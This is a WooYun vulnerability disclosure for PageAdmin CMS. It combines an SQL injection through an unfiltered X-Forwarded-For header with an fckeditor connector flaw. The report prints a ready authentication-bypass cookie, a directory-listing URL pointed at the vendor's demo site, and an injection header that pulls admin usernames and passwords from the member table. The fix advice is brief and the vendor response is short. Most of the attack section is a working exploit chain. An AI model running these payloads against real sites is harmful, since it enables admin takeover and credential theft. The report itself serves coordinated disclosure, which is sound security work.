当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-061609

漏洞标题:PageAdmin CMS最新版SQL注入

相关厂商:PageAdmin

漏洞作者: cmd

提交时间:2014-05-20 22:49

修复时间:2014-08-18 22:50

公开时间:2014-08-18 22:50

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-05-20: 细节已通知厂商并且等待厂商处理中
2014-05-25: 厂商已经确认,细节仅向厂商公开
2014-05-28: 细节向第三方安全合作伙伴开放
2014-07-19: 细节向核心白帽子及相关领域专家公开
2014-07-29: 细节向普通白帽子公开
2014-08-08: 细节向实习白帽子公开
2014-08-18: 细节向公众公开

简要描述:

PageAdmin CMS最新版SQL注入

详细说明:

系统保存日志功能,没有过滤IP,导致了SQL注入漏洞
// PageAdmin.Log
public void Save(int SiteId, int IsMaster, string thetype, int state, string username, string description)
{
string clientIP = this.GetClientIP();
Conn conn = new Conn();
string connectionString = conn.Constr();
OleDbConnection oleDbConnection = new OleDbConnection(connectionString);
oleDbConnection.Open();
string cmdText = string.Concat(new object[]
{
"insert into pa_log([site_id],[task_id],[ismaster],[state],[thetype],[username],[url],[description],[ip],[thedate]) values(",
SiteId,
",0,",
IsMaster,
",",
state,
",'",
this.f(thetype),
"','",
this.f(username),
"','",
HttpContext.Current.Request.RawUrl,
"','",
this.f(description),
"','",
clientIP,
"','",
DateTime.Now,
"')"
});
OleDbCommand oleDbCommand = new OleDbCommand(cmdText, oleDbConnection);
oleDbCommand.ExecuteNonQuery();
oleDbConnection.Close();
}
// PageAdmin.Log
private string GetClientIP()
{
string result;
if (HttpContext.Current == null)
{
result = "127.0.0.1";
}
else
{
HttpRequest request = HttpContext.Current.Request;
string text = request.ServerVariables["HTTP_X_FORWARDED_FOR"];
if (string.IsNullOrEmpty(text))
{
text = request.ServerVariables["REMOTE_ADDR"];
}
if (string.IsNullOrEmpty(text))
{
text = request.UserHostAddress;
}
result = text;
}
return result;
}
可以看出IP是从HTTP_X_FORWARDED_FOR获取的,没有任何过滤,直接就插入到了数据库。
因为要用报错的方法注入,access版无法注入,SQL SERVER才行。
这个函数大多是是在对网站修改时才会调用,后台登陆刚好调用了这个函数
有些网站把后台登陆地址改掉了,这里我们可以用一种方法来找出来,用fckeditor列目录漏洞,列出来,漏洞文件是
/e/incs/fckeditor/editor/filemanager/connectors/aspx/connector.aspx
这里和2.x版本的漏洞差不多,只检测了Cookie,代码过长就不贴了
它检测了Master是否存在,然后检测Master[UID]是不是存在,然后根据UID来查询用户表,如果查到了用户,就检测是不是admin组的,如果是,就把UID对应用户的最后登录时间用她自带的Md5函数加密,和Master[Valicate]做比较,相同就能绕过,但是这里有个问题,如果UID是不存在的,他就会用空字符串""来和Master[Valicate]做比较,所以只要我们提交一个不存在的UID,再用Md5加密""作为Master[Valicate]的值,就可以绕过这里的验证。
利用下面这个aspx计算出加密后的字符串是17b62103fec08a1333215b141bb18217f11c8e13a
<% @ Page language="c#"%>
<% @ Import NameSpace="System.Data"%>
<% @ Import NameSpace="System.Data.OleDb"%>
<% @ Import NameSpace="PageAdmin"%>
<script Language="C#" Runat="server">
protected void Page_Load(Object sender,EventArgs e)
{
Response.Write(new Md5().Get_Md5(""));
}
</script>
最后用Cookie: Master=1&UID=9999&Valicate=17b62103fec08a1333215b141bb18217f11c8e13a就能绕过了。
fckeditor.net版大都有遍历目录的漏洞,就是把当前目录设置成d:/,就能查看d盘的文件
如果没权限查看磁盘根目录,也可以把当前目录改成!,让他报错,就能知道网站路径。
http://demo.pageadmin.net/e/incs/fckeditor/editor/filemanager/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=!

x1.png


x2.png


这样就找到了网站后台路径,然后登陆后台,用burp修改X-Forwarded-For头来进行注入。

漏洞证明:

设置HTTP头
X-Forwarded-For: 8.8.8.8','');select 1 from pa_member where (select top 1 username+':'+userpassword from pa_member where m_group='admin')>0--
然后打开网站后台,登陆网站

x3.png

修复方案:

用session

版权声明:转载请注明来源 cmd@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:13

确认时间:2014-05-25 14:14

厂商回复:

CNVD将会整理最近所有PageAdmin漏洞,通过公开联系渠道向软件生产厂商通报处置。

最新状态:

暂无